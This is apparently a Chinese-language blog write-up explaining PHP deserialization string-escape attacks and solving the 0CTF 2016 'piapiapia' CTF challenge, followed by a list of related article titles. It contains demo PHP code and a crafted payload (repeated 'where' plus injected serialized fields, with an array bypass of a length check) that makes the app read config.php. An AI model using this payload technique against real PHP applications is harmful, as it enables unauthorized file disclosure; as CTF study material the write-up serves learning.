一、php反序列化字符串逃逸

<?phpclass user{public $user = 'admin';public $pass = 'passwd';
}$a = new user();
$b = serialize($a);echo $b."<br>";$c = unserialize($b);echo $c->pass;?>

运行结果:

序列化后的字符串应该能看出来,大括号外面有类名及长度,括号里面以分号划分多个变量,包含其变量名及长度,变量值及长度。

这些都是对应好的,而如果我们对比如user的值进行修改,改为admin1,而长度不变,当反序列化时就会报错。

<?php$a = 'O:4:"user":2:{s:4:"user";s:5:"admin1";s:4:"pass";s:6:"passwd";}';$b = unserialize($a);echo $b->pass;?>

我理解的是unserilize()函数是从左往右读入,当读入s:5:时,系统就知道后面引号内是字符串且长度为5,于是从双引号开始读入长度为5的字符,但由于admin1是6个字符,导致后面第6个字符该是双引号来结束,却没有,由此产生异常。而如果我们设置的payload则可以越过这个异常。

<?phpfunction filter($str){$str = str_replace("ab","ccc",$str);return $str;
}
class user{public $user = 'ababababababababababababababababababababababababab";s:4:"pass";s:4:"hack";}';public $pass = 'passwd';
}$a = new user();
echo serialize($a)."<br>";$b = filter(serialize($a));echo $b."<br>";$c = unserialize($b);echo $c->pass;?>

其中,user的值有25个ab,经序列化后又对其进行替换,每替换一个ab,就多一个字符,这样就可能会导致前面所说的系统知道的长度和实际长度不对应,就会报错,但后面的payload=";s:4:"pass";s:4:"hack";},这样就拼接起来,具体来说

初始序列化后为

O:4:"user":2:{s:4:"user";s:75:"ababababababababababababababababababababababababab";s:4:"pass";s:4:"hack";}";s:4:"pass";s:6:"passwd";}

可见长度为75,payload长度是为25,所以这里使用了25个ab,当替换后就多出25个字符。待替换后就为:

O:4:"user":2:{s:4:"user";s:75:"ccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc";s:4:"pass";s:4:"hack";}";s:4:"pass";s:6:"passwd";}

你可以知道,c的个数刚好为75个,而系统读入了75个字符想碰到双引号也成功,之后就会继续反序列化我们的payload,而在大括号之后的字符都会被挤进下一个参数中。

二、piapiapia

这题打开后测试过不是sql注入后,就用御剑去扫,发现扫不来什么,于是我去下了个大字典,去扫,扫到一半御剑就崩了,,,于是我去实验dirsearch以及dirmap,能扫出www.zip文件,打开后经审计,知道profile.php文件中有一个unserialize函数,而在反序列化之前,有对内部参数进行替换,也正因此我们才有字符串逃逸。同时他反序列化后对photo使用了文件读取函数,在config.php中有flag,那么我们就读取这个文件。

hacker是6个字符而where是5个字符,另外nickname长度要小于10,需要用数组来绕过。于是可以构造payload:

wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}

这里要注意的是,nickname是一个数组,所以在";}s:5:这里面要加个大括号,

最后,对图片base64解密即可

[0CTF 2016]piapiapia php反序列化字符串逃逸相关推荐

  1. BUCTF[0CTF 2016]piapiapia

    [0CTF 2016]piapiapia 打开环境是个登录框,尝试了一下sql注入,发现并无任何用处. 于是扫描目录,发现了个/www.zip. 开始代码审计: 在config.php中看到了flag ...

  2. BUU [0CTF 2016]piapiapia

    BUU [0CTF 2016]piapiapia 进去之后是个登录界面,抓包有一个cookie.感觉是十六进制,但是其实不是这样做,是应该扫描的. buu什么都扫不出来,直接看源码. /registe ...

  3. [0CTF 2016]piapiapia WP(详细)

    [0CTF 2016]piapiapia WP(详细) 1.打开网站,是个登录框,尝试注入无果.....按道理来说就是注入了啊喂 2.玄学时间到::: 目录扫完啥结果没有.在buuctf做题总是这样, ...

  4. 浅析php反序列化字符串逃逸

    前言: php反序列化字符串逃逸之前没有详细的学习过,所以遇到题目看的有点懵,这次好好学习一下. 反序列化的特点 首先要了解一下反序列化的一些特点: php在反序列化时,底层代码是以 ; 作为字段的分 ...

  5. php反序列化--字符串逃逸

    php反序列化–字符串逃逸 PHP反序列化的字符串逃逸,一共分有两种情况,情况一:过滤后字符串变多,情况二:过滤后字符变少(本篇文章默认已有反序列化相关知识基础) 过滤后字符串变多 以ctfshow- ...

  6. 审计练习5——[0CTF 2016]piapiapia

    平台:buuoj.cn 打开靶机如下: 弱密码,sql乱试一波没反应,注册个账号进去之后让我们更新信息 提交跳转到profile.php 扫一下网站目录.(我们在做题扫目录的时候经常会遇见429的情况 ...

  7. ---已搬运--:[0CTF 2016]piapiapia -----代码审计+字符串逃逸+数组绕过长度限制+以及一下小知识点 preg_match()用数组,而且注意if是正确判断,还是错误判断

    目录: 00000.知识点: 1.url传入数组绕过长度限制?? 2.数组的遍历 3.数组绕过正则 一.自己做: 二.学到的&&不足: 四.学习WP 1.学习一个大佬的思路: 2.学习 ...

  8. [0CTF 2016]piapiapia(字符逃逸详解)

    目录 知识点 信息收集 尝试SQL注入 源码目录扫描 代码审计 payload生成 知识点 信息泄露 参数传递数组绕过字符串检测 反序列化字符逃逸 信息收集 收集到了一只超可爱的小喵 尝试SQL注入 ...

  9. PHP反序列化字符串逃逸

    例题可看:https://www.cnblogs.com/v2ish1yan/articles/16118319.html 今天才学的,做个记录. 字符串逃逸分为两种,减少和增多. 主要是通过一个pr ...

最新文章

  1. iOS-FXDanmaku弹幕库介绍、相关技术分享
  2. ajax spring mvc 接收json数据,easyui ajax请求获取SpringMVC @ResponseBody返回的Json数据为什么非得eval才能通过对象获取值?...
  3. 2018.4.2 三周第一次课
  4. Python练习 | 初识Python、数据类型、基本语句
  5. 端计算(2)-android studio 的sdk,avd,grade及其它缓存配置
  6. android镜像文件怎么命名,android镜像文件说明(示例代码)
  7. 学习转载:Linux命令--grep|正则表达式
  8. prometheus命令_Prometheus 入门
  9. jsp中的url拼接的参数传递到controller乱码_Spring MVC中的拦截器
  10. 中红外传感器行业调研报告 - 市场现状分析与发展前景预测(2021-2027年)
  11. Qt中,edit窗口输出的几种格式
  12. ADC的DMA多通道数据采集(雨滴传感器+光敏传感器)
  13. 数据结构算法——1006. 线性链表的插入与删除
  14. php幂函数,PHP-常用函数
  15. 麻雀算法(SSA)优化的BP神经网络预测,SSA-BP回归预测,多输入单输出模型。
  16. 腾讯投 10 亿在武汉建中部最大研发中心
  17. 给轮廓画出矩形和圆形边界
  18. pdf转换成excel转换器
  19. JSON格式的文件转换对象存入数据库
  20. pdf转换成word转换器在线使用效果

热门文章

  1. JavaScript中原生Array数组方法详解
  2. 怎么测试计算机运算能力,处理器运算能力测试_CPU_CPUCPU评测-中关村在线
  3. 京东网页(动态)搭建,利用jquery实现
  4. linux kernel panic not syncing 永久解决的方案
  5. 基于jsp毕业设计题目50例
  6. (转)一个大牛的acm历程(看着就要颤抖)
  7. windows 9X, 2000, xp所有版本注册表设置大全
  8. Java架构师之旅(二十九 附录《MyBatis3 用户指南》中文版)
  9. Gallery中,取消惯性滑动,滑动一次只切换一个视图
  10. 考研英语二2017阅读理解Text3